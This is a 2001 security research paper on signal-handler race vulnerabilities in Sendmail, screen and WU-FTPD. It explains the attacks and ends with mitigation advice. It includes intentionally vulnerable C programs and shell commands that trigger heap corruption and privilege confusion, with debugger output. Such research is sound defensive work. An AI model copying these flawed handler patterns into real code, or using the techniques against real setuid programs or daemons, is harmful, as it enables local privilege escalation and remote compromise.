Delivering Signals for Fun and Profit: Understanding, Exploiting and Preventing Signal-Handling Related Vulnerabilities

Issue Date:May 28, 2001

Contact: Michal Zalewski

---

0. Introduction

According to a popular belief, writing signal handlers has little or nothing to do with secure programming, as long as handler code itself looks good. At the same time, there have been discussions on functions that shall be invoked from handlers, and functions that shall never, ever be used there. Most Unix systems provide a standarized set of signal-safe library calls. Few systems have extensive documentation of signal-safe calls - that includes OpenBSD, Solaris, etc.:

"http://www.openbsd.org/cgi-bin/man.cgi?query=sigaction: "

"The following functions are either reentrant or not interruptible by sig- nals and are async-signal safe. Therefore applications may invoke them, without restriction, from signal-catching functions: "

> _exit(2), access(2), alarm(3), cfgetispeed(3), cfgetospeed(3), cfsetispeed(3), cfsetospeed(3), chdir(2), chmod(2), chown(2), close(2), creat(2), dup(2), dup2(2), execle(2), execve(2), fcntl(2), fork(2), fpathconf(2), fstat(2), fsync(2), getegid(2), geteuid(2), getgid(2), getgroups(2), getpgrp(2), getpid(2), getppid(2), getuid(2), kill(2), link(2), lseek(2), mkdir(2), mkfifo(2), open(2), pathconf(2), pause(2), pipe(2), raise(3), read(2), rename(2), rmdir(2), setgid(2), setpgid(2), setsid(2), setuid(2), sigaction(2), sigaddset(3), sigdelset(3), sigemptyset(3), sigfillset(3), sigismember(3), signal(3), sigpending(2), sigprocmask(2), sigsuspend(2), sleep(3), stat(2), sysconf(3), tcdrain(3), tcflow(3), tcflush(3), tcgetattr(3), tcgetpgrp(3), tcsendbreak(3), tcsetattr(3), tcsetpgrp(3), time(3), times(3), umask(2), uname(3), unlink(2), utime(3), wait(2), waitpid(2), write(2). sigpause(3), sigset(3).

"All functions not in the above list are considered to be unsafe with re- spect to signals. That is to say, the behaviour of such functions when called from a signal handler is undefined. In general though, signal handlers should do little more than set a flag; most other actions are not safe."

It is suggested to take special care when performing any non-atomic operations while signal delivery is not blocked, and/or not to rely on internal program state in signal handler. Generally, signal handlers should do not much more than setting a flag, whenever it is acceptable.

Unfortunately, there were no known, practical security considerations of such bad coding practices. And while signal can be delivered _anywhere_ during the userspace execution of given program, most of programmers never take enough care to avoid potential implications caused by this fact. Approximately 80 to 90% of signal handlers we have examined were written in insecure manner.

This paper is an attempt to demonstrate and analyze actual risks caused by this kind of coding practices, and to discuss threat scenarios that can be used by an attacker in order to escalate local privileges, or, sometimes, gain remote access to a machine. This class of vulnerabilities affects numerous complex setuid programs (Sendmail, screen, pppd, etc.) and several network daemons (ftpd, httpd and so on).

Thanks to Theo de Raadt for bringing this problem to my attention; to Przemyslaw Frasunek for remote attack possibilities discussion; Dvorak, Chris Evans and Pekka Savola for outstanding contribution to heap corruption attacks field; Gregory Neil Shapiro and Solar Designer for their comments on the issues discussed below. Additional thanks to Mark Loveless, Dave Mann, Matt Power and other RAZOR team members for their support and reviews.

1. Impact: handler re-entry (Sendmail case)

Before we discuss more generalized attack scenarios, I would like to explain signal handler races starting with very simple and clean example. We would try to exploit non-atomic signal handler. The following code generalizes, in simplified way, very common bad coding practice (which is present, for example, in setuid root Sendmail program up to 8.11.3 and 8.12.0.Beta7):

```
/*********************************************************
 * This is a generic verbose signal handler - does some  *
 * logging and cleanup, probably calling other routines. *
 *********************************************************/

void sighndlr(int dummy) {
  syslog(LOG_NOTICE,user_dependent_data);
  // *** Initial cleanup code, calling the following somewhere:
  free(global_ptr2);
  free(global_ptr1);
  // *** 1 *** >> Additional clean-up code - unlink tmp files, etc <<
  exit(0);
}

  /**************************************************
   * This is a signal handler declaration somewhere *
   * at the beginning of main code.                 *
   **************************************************/

  signal(SIGHUP,sighndlr);
  signal(SIGTERM,sighndlr);

  // *** Other initialization routines, and global pointer
  // *** assignment somewhere in the code (we assume that
  // *** nnn is partially user-dependent, yyy does not have to be):

  global_ptr1=malloc(nnn);
  global_ptr2=malloc(yyy);

  // *** 2 *** >> further processing, allocated memory <<
  // *** 2 *** >> is filled with any data, etc...     <<
```

This code seems to be pretty immune to any kind of security compromises. But this is just an illusion. By delivering one of the signals handled by sighndlr() function somewhere in the middle of main code execution (marked as '*** 2 ***' in above example) code execution would reach handler function. Let's assume we delivered SIGHUP. Syslog message is written, two pointers are freed, and some more clean-up is done before exiting (*** 1 ***).

Now, by quickly delivering another signal - SIGTERM (note that already delivered signal is masked and would be not delivered, so you cannot deliver SIGHUP, but there is absolutely nothing against delivering SIGTERM) - attacker might cause sighndlr() function re-entry. This is a very common condition - 'shared' handlers are declared for SIGQUIT, SIGTERM, SIGINT, and so on.

Now, for the purpose of this demonstration, we would like to target heap structures by exploiting free() and syslog() behavior. It is very important to understand how [v]syslog() implementation works. We would focus on Linux glibc code - this function creates a temporary copy of the logged message in so-called memory-buffer stream, which is dynamically allocated using two malloc() calls - the first one allocates general stream description structure, and the other one creates actual buffer, which would contain logged message.

In order for this particular attack to be successful, two conditions have to be met:

- syslog() data must be user-dependent (like in Sendmail log messages describing transferred mail traffic),
- second of these two global memory blocks must be aligned the way that would be re-used in second open_memstream() malloc() call.

The second buffer (global_ptr2) would be free()d during the first sighndlr() call, so if these conditions are met, the second syslog() call would re-use this memory and overwrite this area, including heap-management structures, with user-dependent syslog() buffer.

Of course, this situation is not limited to two global buffers - generally, we need one out of any number of free()d buffers to be aligned that way. Additional possibilities are related to interrupting free() chain by precise SIGTERM delivery and/or influencing buffer sizes / heap data order by using different input data patterns.

If so, the attacker can cause second free() pass to be called with a pointer to user-dependent data (syslog buffer), this leads to instant root compromise - see excellent article by Chris Evans (based on observations by Pekka Savola): "http://lwn.net/2000/1012/a/traceroute.php3 "

Below is a sample 'vulnerable program' code:

```
--- vuln.c ---
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>

void *global1, *global2;
char *what;

void sh(int dummy) {
  syslog(LOG_NOTICE,"%s\n",what);
  free(global2);
  free(global1);
  sleep(10);
  exit(0);
}

int main(int argc,char* argv[]) {
  what=argv[1];
  global1=strdup(argv[2]);
  global2=malloc(340);
  signal(SIGHUP,sh);
  signal(SIGTERM,sh);
  sleep(10);
  exit(0);
}
---- EOF ----
```

You can exploit it, forcing free() to be called on a memory region filled with 0x41414141 (you can see this value in the registers at the time of crash -- the bytes represented as 41 in hex are set by the 'A' input characters in the variable $LOG below). Sample command lines for a Bash shell are:

```
$ gcc vuln.c -o vuln
$ PAD=`perl -e '{print "x"x410}'`
$ LOG=`perl -e '{print "A"x100}'`
$ ./vuln $LOG $PAD & sleep 1; killall -HUP vuln; sleep 1; killall -TERM vuln
```

The result should be a segmentation fault followed by nice core dump (for Linux glibc 2.1.9x and 2.0.7).

```
(gdb) back
#0  chunk_free (ar_ptr=0x4013dce0, p=0x80499a0) at malloc.c:3069
#1  0x4009b334 in __libc_free (mem=0x80499a8) at malloc.c:3043
#2  0x80485b8 in sh ()
#4  0x400d5971 in __libc_nanosleep () from /lib/libc.so.6
#5  0x400d5801 in __sleep (seconds=10) at ../sysdeps/unix/sysv/linux/sleep.c:85
#6  0x80485d6 in sh ()
```

So, as you can see, failure was caused when signal handler was re-entered. __libf_free function was called with a parameter of 0x080499a8, which points somewhere in the middle of our AAAs:

```
(gdb) x/s 0x80499a8
0x80499a8:       'A' <repeats 94 times>, "\n"
```

You can find 0x41414141 in the registers, as well, showing this data is being processed. For more analysis, please refer to the paper mentioned above.

For the description, impact and fix information on Sendmail signal handling vulnerability, please refer to the RAZOR advisory at: "adv_sm8120. "

Obviously, that is just an example of this attack. Whenever signal handler execution is non-atomic, attacks of this kind are possible by re-entering the handler when it is in the middle of performing non-reentrant operations. Heap damage is the most obvious vector of attack, in this case, but not the only one.

2. Impact: signal in the middle (screen case)

The attack described above usually requires specific conditions to be met, and takes advantage of non-atomic signal handler execution, which can be easily avoided by using additional flags or blocking signal delivery.

But, as signal can be delivered at any moment (unless explictly blocked), this is obvious that it is possible to perform an attack without re-entering the handler itself. It is enough to deliver a signal in a 'not appropriate' moment. There are two attack schemes:

A) re-entering libc functions:
""

Every function that is not listed as reentry-safe is a potential source of vulnerabilities. Indeed, numerous library functions are operating on global variables, and/or modify global state in non-atomic way. Once again, heap-management routines are probably the best example. By delivering a signal when malloc(), free() or any other libcall of this kind is being called, all subsequent calls to the heap management routines made from signal handler would have unpredictable effect, as heap state is completely unpredictable for the programmer.

Other good examples are functions working on static/global variables and buffers like certain implementations of strtok(), inet_ntoa(), gethostbyname() and so on. In all cases, results will be unpredictable.

B) interrupting non-atomic modifications: "This is basically the same problem, but outside library functions. For example, the following code:

```
     dropped_privileges = 1;
     setuid(getuid());
```

is, technically speaking, using safe library functions only. But, at the same time, it is possible to interrupt execution between substitution and setuid() call, causing signal handler to be executed with dropped_privileges flag set, but superuser privileges not dropped. "

This, very often, might be a source of serious problems.

First of all, we would like to come back to Sendmail example, to demonstrate potential consequences of re-entering libc. Note that signal handler is NOT re-entered - signal is delivered only once:

```
#0  0x401705bc in chunk_free (ar_ptr=0x40212ce0, p=0x810f900) at malloc.c:3117
#1  0x4016fd12 in chunk_alloc (ar_ptr=0x40212ce0, nb=8200) at malloc.c:2601
#2  0x4016f7e6 in __libc_malloc (bytes=8192) at malloc.c:2703
#3  0x40168a27 in open_memstream (bufloc=0xbfff97bc, sizeloc=0xbfff97c0) at memstream.c:112
#4  0x401cf4fa in vsyslog (pri=6, fmt=0x80a5e03 "%s: %s", ap=0xbfff99ac) at syslog.c:142
#5  0x401cf447 in syslog (pri=6, fmt=0x80a5e03 "%s: %s") at syslog.c:102
#6  0x8055f64 in sm_syslog ()
#7  0x806793c in logsender ()
#8  0x8063902 in dropenvelope ()
```

```
#9  0x804e717 in finis ()
#10 0x804e9d8 in intsig ()                  <---- ** SIGINT **
#11 <signal handler called>
#12 chunk_alloc (ar_ptr=0x40212ce0, nb=4104) at malloc.c:2968
#13 0x4016f7e6 in __libc_malloc (bytes=4097) at malloc.c:2703
```

Heap corruption is caused by interruped malloc() call and, later, by calling malloc() once again from vsyslog() function invoked from handler.

There are two another examples of very interesting stack corruption caused by re-entering heap management routines in Sendmail daemon - in both cases, signal was delivered only once:

A)

```
  #0  0x401705bc in chunk_free (ar_ptr=0xdbdbdbdb, p=0x810b8e8) at malloc.c:3117
  #1  0xdbdbdbdb in ?? ()
```

B)

```
  /.../
  #9  0x79f68510 in ?? ()
  Cannot access memory at address 0xc483c689
```

We'd like to leave this one as an exercise for a reader - try to figure out why this happens and why this problem can be exploitable. For now, we would like to come back to our second scenario, interrupting non-atomic code to show that targeting heap is not the only possibility.

Some programs are temporarily returning to superuser UID in cleanup routines, e.g., in order to unlink specific files. Very often, by entering the handler at given moment, is possible to perform all the cleanup file access operations with superuser privileges.

Here's an example of such coding, that can be found mainly in interactive setuid software:

```
--- vuln2.c ---
#include <signal.h>
#include <string.h>
#include <stdlib.h>

void sh(int dummy) {
  printf("Running with uid=%d euid=%d\n",getuid(),geteuid());
}

int main(int argc,char* argv[]) {
  seteuid(getuid());
  setreuid(0,getuid());
  signal(SIGTERM,sh);
  sleep(5);

  // this is a temporarily privileged code:
  seteuid(0);
  unlink("tmpfile");
  sleep(5);
  seteuid(getuid());

  exit(0);
}
---- EOF ----

# gcc vuln.c -o vuln; chmod 4755 vuln
# su user
$ ./vuln & sleep 3; killall -TERM vuln; sleep 3; killall -TERM vuln
Running with uid=500 euid=500
Running with uid=500 euid=0
```

Such a coding practice can be found, par example, in 'screen' utility developed by Oliver Laumann. One of the most obvious locations is CoreDump handler [screen.c]:

```
static sigret_t
CoreDump SIGDEFARG
{
  /.../
  setgid(getgid());
  setuid(getuid());
  unlink("core");
  /.../
```

SIGSEGV can be delivered in the middle of user-initiated screen detach routine, for example. To better understand what and why is going on, here's an strace output for detach (Ctrl+A, D) command:

```
23534 geteuid()                          = 0
23534 geteuid()                          = 0
23534 getuid()                           = 500
23534 setreuid(0, 500)                   = 0    *** HERE IT HAPPENS ***
23534 getegid()                          = 500
23534 chmod("/home/lcamtuf/.screen/23534.tty5.nimue", 0600) = 0
23534 utime("/home/lcamtuf/.screen/23534.tty5.nimue", NULL) = 0
23534 geteuid()                          = 500
23534 getuid()                           = 0
```

Marked line sets uid to zero. If SIGSEGV is delivered somewhere near this point, CoreDump() handler would run with superuser privileges, due to initial setuid(getuid()).

3. Remote exploitation of signal delivery (WU-FTPD case)

This is a very interesting issue, directly related to re-entering libc functions and/or interrupting non-atomic code. Many complex daemons, like ftp, some http/proxy services, MTAs, etc., have SIGURG handlers declared - very often these handlers are pretty verbose, calling syslog(), or freeing some resources allocated for specific connection. The trick is that SIGURG, obviously, can be delivered over the network, using TCP/IP OOB message. Thus, it is possible to perform attacks using network layer without any priviledges.

Below is a SIGURG handler routine, which, with small modifications, is shared both by BSD ftpd and WU-FTPD daemons:

```
static VOIDRET myoob FUNCTION((input), int input)
{
  /.../
  if (getline(cp, 7, stdin) == NULL) {
    reply(221, "You could at least say goodbye.");
    dologout(0);
  }
  /.../
}
```

As you can see in certain conditions, dologout() function is called. This routine looks this way:

```
dologout(int status)
{
    /.../
    if (logged_in) {
        delay_signaling(); /* we can't allow any signals while euid==0: kinch */
        (void) seteuid((uid_t) 0);
        wu_logwtmp(ttyline, "", "");
    }
    if (logging)
        syslog(LOG_INFO, "FTP session closed");
    /.../
}
```

As you can see, the authors took an additional precaution not to allow signal delivery in the "logged_in" case. Unfortunately, syslog() is a perfect example of a libc function that should NOT be called during signal handling, regardless of whether "logged_in" or any other special condition happens to be in effect.

As mentioned before, heap management functions such as malloc() are called within syslog(), and these functions are not atomic. The OOB message might arrive when the heap is in virtually any possible state. Playing with uids / privileges / internal state is an option, as well.

4. Practical considerations: timing

In most cases this is a non-issue for local attacks, as the attacker might control the execution environment (e.g., the load average, the number of local files that the daemon needs to access, etc.) and try a virtually infinite number of times by invoking the same program over and over again, increasing the possibility of delivering signal at given point. For remote attacks, this is a major issue, but as long as the attack itself won't cause service to stop responding, thousands of attempts might be performed.

5. Solving signal race problems

This is a very complex and difficult task. There are at least three aspects of this:

- Using reentrant-safe libcalls in signal handlers only. This would require major rewrites of numerous programs. Another half-solution is to implement a wrapper around every insecure libcall used, having special global flag checked to avoid re-entry,
- Blocking signal delivery during all non-atomic operations and/or constructing signal handlers in the way that would not rely on internal program state (e.g. unconditional setting of specific flag and nothing else),
- Blocking signal delivery in signal handlers.